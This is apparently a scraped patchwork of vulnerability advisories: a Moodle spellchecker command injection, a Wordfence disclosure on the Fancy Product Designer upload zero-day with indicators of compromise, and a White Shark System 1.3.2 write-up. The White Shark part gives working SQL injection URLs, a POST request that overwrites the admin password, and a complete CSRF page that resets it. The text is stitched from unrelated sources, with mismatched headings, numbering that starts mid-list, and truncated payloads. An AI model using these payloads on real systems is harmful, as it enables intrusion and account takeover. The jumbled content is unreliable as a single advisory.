**CVSSv3 Score**

8.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**Details**

Moodle is a popular free and open-source learning management system, used by 262 million education users around the world.

Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the \[Moodle\] files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.

To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell\_exec command. The spellchecker plugin does not have to be enabled.

Reproduction

1.  Set aspellpath. This payload assumes that the Moodle data directory is /var/www/moodledata.

CVE-2020-18648

The Fancy Product Designer WordPress plugin before 4.6.9 allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution.

_Update: A patched version of Fancy Product Designer, 4.6.9, is now available as of June 2, 2021. This article has been updated to reflect newly available information, including Indicators of Compromise._

On May 31, 2021, the Wordfence Threat Intelligence team discovered a critical file upload vulnerability being actively exploited in Fancy Product Designer, a WordPress plugin installed on over 17,000 sites.

We initiated contact with the plugin’s developer the same day and received a response within 24 hours. We sent over the full disclosure the same day we received a response, on June 1, 2021. Due to this vulnerability being actively attacked, we are publicly disclosing with minimal details until users have time to update to the patched version in order to alert the community to take precautions to keep their sites protected.

While the Wordfence Firewall’s built-in file upload protection sufficiently blocks the majority of attacks against this vulnerability, we determined that a bypass was possible in some configurations. As such, we released a new firewall rule to our premium customers on May 31, 2021. Sites still running the free version of Wordfence will receive the rule after 30 days, on June 30, 2021.

As this is a Critical 0-day under active attack and is exploitable in some configurations even if the plugin has been deactivated, we urge anyone using this plugin to update to the latest version available, 4.6.9, immediately.

**Description:** Unauthenticated Arbitrary File Upload and Remote Code Execution  
**Affected Plugin:** Fancy Product Designer  
**Plugin Slug:** fancy-product-designer  
**Affected Versions:** < 4.6.9  
**CVE ID:** CVE-2021-24370  
**CVSS Score:** 9.8 (Critical)  
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
**Researcher/s:** Charles Sweethill/Ram Gall  
**Fully Patched Version:** 4.6.9

Fancy Product Designer is a WordPress plugin that offers the ability for customers to upload images and PDF files to be added to products. Unfortunately, while the plugin had some checks in place to prevent malicious files from being uploaded, these checks were insufficient and could easily be bypassed, allowing attackers to upload executable PHP files to any site with the plugin installed. This effectively made it possible for any attacker to achieve Remote Code Execution on an impacted site, allowing full site takeover.

We will provide a more detailed technical explanation of the vulnerability once more users have updated to a patched version.

**How do I update?**

In most cases you will need to login to codecanyon.net. Once you are logged in, you should be able to visit the product page at https://codecanyon.net/item/fancy-product-designer-woocommercewordpress/6318393. In the Overview sidebar on the right-hand side of the product page you should see a Download link:

Once you have downloaded the patched version of the plugin, you should be able to login to your WordPress site and go to Plugins->Add New->Upload Plugin to upload the patched plugin.

**Indicators of Compromise**

In most cases a successful attack results in a number of files which will appear in a subfolder of either  
wp-admin  
or  
wp-content/plugins/fancy-product-designer/inc  
with the date the file was uploaded. For instance:

wp-content/plugins/fancy-product-designer/inc/2021/05/30/4fa00001c720b30102987d980e62d5e4.php

or

wp-admin/2021/05/31/4fa00001c720b30102987d980e62d5e4.php

_Update – the filenames in question are deterministic and we have added filenames associated with this vulnerability._  
The following filenames and MD5 hashes are associated with this attack:

ass.php – MD5 3783701c82396cc96d842839a291e813. This is the initial payload, a dropper that then retrieves additional malware from a 3rd party site.  
op.php – MD5 29da9e97d5efe5c9a8680c7066bb2840. A password-protected Webshell.  
prosettings.php – MD5 e6b9197ecdc61125a4e502a5af7cecae. A Webshell found in older infections.  
4fa00001c720b30102987d980e62d5e4.php – MD5 4329689c76ccddd1d2f4ee7fef3dab71. This payload decodes and loads a separate Webshell.  
4fa00001c720b30002987d983e62d5e1.jpg – MD5 c8757b55fc7d456a7a1a1aa024398471. The compressed webshell loaded by 4fa00001c720b30102987d980e62d5e4.php. Cannot be executed without the loader script.

The majority of attacks against this vulnerability are coming from the following IP addresses:

69.12.71.82  
92.53.124.123  
46.53.253.152

This attacker appears to be targeting e-commerce sites and attempting to extract order information from site databases. As this order information contains personally identifiable information from customers, site owners are in a particularly difficult position if they are still running vulnerable versions of this plugin as it risks the e-commerce merchant’s PCI-DSS compliance.

Our research indicates that this vulnerability is likely not being attacked on a large scale but has been exploited since at least May 16, 2021. _Update: Our Threat Intelligence Team has now found evidence of this vulnerability being exploited as early as January 30, 2021._

**Timeline**

**May 31, 2021** 15:05 UTC – Wordfence Security Analyst Charles Sweethill finds evidence of a previously unknown vulnerability during malware removal and forensic investigation as part of a site cleaning and begins investigating possible attack vectors.  
**May 31, 2021** 15:45 UTC – Charles notifies the Wordfence Threat Intelligence team and a full investigation begins.  
**May 31, 2021** 16:20 UTC – We develop an initial proof of concept and begin work on a firewall rule.  
**May 31, 2021** 17:06 UTC – We initiate contact with the plugin developer.  
**May 31, 2021** 18:59 UTC – We release the firewall rule protecting against this vulnerability to Wordfence Premium customers.  
**June 1, 2021** 09:03 UTC – The plugin developer responds to our initial contact.  
**June 1, 2021** 13:35 UTC – We send over full disclosure.  
**June 2, 2021** – The plugin developer releases a patched version, 4.6.9, of the plugin.  
**June 30, 2021** – Firewall rule becomes available to free Wordfence users.

**Conclusion**

In today’s article, we covered a critical 0-day vulnerability in Fancy Product Designer that is being actively attacked and used to upload malware onto sites that have the plugin installed.

While Wordfence Premium users should be protected against this vulnerability, we urge any users of this plugin to update to the latest version of the plugin, 4.6.9, immediately, as it is possible in some configurations to exploit the vulnerability even if the plugin is deactivated.

We will continue to monitor the situation and follow up as more information becomes available.

_Special Thanks to Wordfence Security Analyst Charles Sweethill for discovering the vulnerability, determining the most likely vectors and indicators of compromise, and testing the firewall rule during a holiday. We also wanted to extend kudos the the plugin developer, radykal for quickly developing a patch for this issue._

**\[7\]White Shark System(wss) 1.3.2 has a sensitive information disclosure vulnerability,remote attackers can obtain username information for all users of the current site.**

**\[8\]White Shark System(wss) 1.3.2 has a sensitive information disclosure vulnerability,remote attackers can exploit the vulnerability to create a task.**

**\[9\]White Shark System(wss) 1.3.2 has web site physical path leakage vulnerability.**

\*\*Environment: \*\* apache/php 7.0.12/White Shark System(wss) 1.3.2

**\[1\]SQL Injection Vulnerability**

The vulnerable file is control\_task.php. (control\_project.php, default\_user.php)

In the control\_task.php file:

On line 150, if the user submits the sort parameter, it is assigned to $sortlist.

On line 284, the GetSQLValueString function is called to process $sortlist and assign it to $query_Recordset1.

 In the GetSQLValueString function of function.class.php, when theType is defined, it will return the value without processing.

Go back to the control\_task.php file:  Line 289 data directly enters the database query,the injection vulnerability was caused by not filtering the data.

Request the following url:/index.php?sort=1,extractvalue(rand(),concat(0x3a,substring(user(),1,30)))%23 

The current user is obtained by injection as root@localhost.

**\[2\]SQL Injection Vulnerability**

The vulnerable file is default\_task\_edituser.php.

The system can filter requests by default only after calling the GetSQLValueString function.

In the default\_task\_edituser.php file:

Line 5 restricts the user to one of "Guest" / "Ordinary User" / "Project Manager" / "Administrator".

Line 20 directly puts $_POST['csa_to_user'] into the database for query, resulting in injection.

Initiate a POST request to submit the following data:

    POST /default_task_edituser.php HTTP/1.1
    Host: 127.0.0.1:8002
    Connection: keep-alive

The current database version obtained by injection is 5.5.53:

**\[3\]SQL Injection Vulnerability**

The vulnerable file is log\_edit.php.

In log\_edit.php:

Line 5 restricts the user to one of "Guest" / "Ordinary User" / "Project Manager" / "Administrator".

On line 58, $logdate enters the database query without being processed by the GetSQLValueString function, resulting in injection.

Request the following url: /log_edit.php?date=1234/**/and/**/1=(updatexml(1,concat(0x5e24,(select%20@@version),0x5e24),1))--%20-&taskid= 1

The current database version obtained by injection is 5.5.53.

**\[4\]Unauthorized Access Vulnerability**

In user\_edit\_password.php:

On line 24, the password is modified for the specified user by $_POST['ID'] and the original password is not verified. So you can override the password of someone else.

After logging in, send the following data:

    POST /user_edit_password.php HTTP/1.1
    Host: 127.0.0.1:8002
    Connection: keep-alive
    Content-Length: 69

    tk_user_pass=a121314156&tk_user_pass2=a121314156&MM_update=form1&ID=1
    

The admin's password will be modified to a121314156.

**\[5\]CSRF Vulnerability**

Save the following as change.html:

    <html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://127.0.0.1:8002/user_edit_password.php?UID=1" method="POST">
          <input type="hidden" name="tk_user_pass" value="a1111111" />
          <input type="hidden" name="tk_user_pass2" value="a1111111" />
          <input type="hidden" name="MM_update" value="form1" />
          <input type="hidden" name="ID" value="1" />
        </form>
    	<script>document.forms[0].submit();</script>
      </body>
    </html>
    

After the admin accesses the page, the admin's password will be modified to a1111111. If you want to modify someone else's password, modify the corresponding UID parameter.

**\[6\]Unauthorized Access Vulnerability**

In default\_user\_edit.php

Line 23 If the queried user uid does not match the current id or is not an admin, the operation is quit, and the user is prohibited from viewing other user details.

However, when the user's data update is performed on line 58, the user uid of the data to be updated is directly obtained from $_POST['ID'], so that the information of others can be modified.

POST requests the following data:

    POST /default_user_edit.php?UID=2 HTTP/1.1
    Host: 127.0.0.1:8002
    Connection: keep-alive
    Content-Length: 179

**\[7\]Sensitive Information Disclosure Vulnerability**

The if\_get\_addbook.php file does not have an authentication operation.

Line 3 reads all the input via php://input; Line 4 decodes the json data; Line 7 checks the token value in json with the check\_token function.

The check\_token function is in /function.class.php:

By default, all users have a token of 0.

So the check\_token function returns the uid of the user whose token is 0, which is the uid of all users by default.

Go back to if\_get\_addbook.php:

Line 11 calls the get\_user\_select function in function.class.php.

POST requests the following data:

CVE-2020-20444: LFI on OpenClinic Admin · Issue #8 · jact/openclinic

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with minimal configuration. The issues were patched in version 2.1.59. As a workaround, ensure the connector is not exposed without authentication.
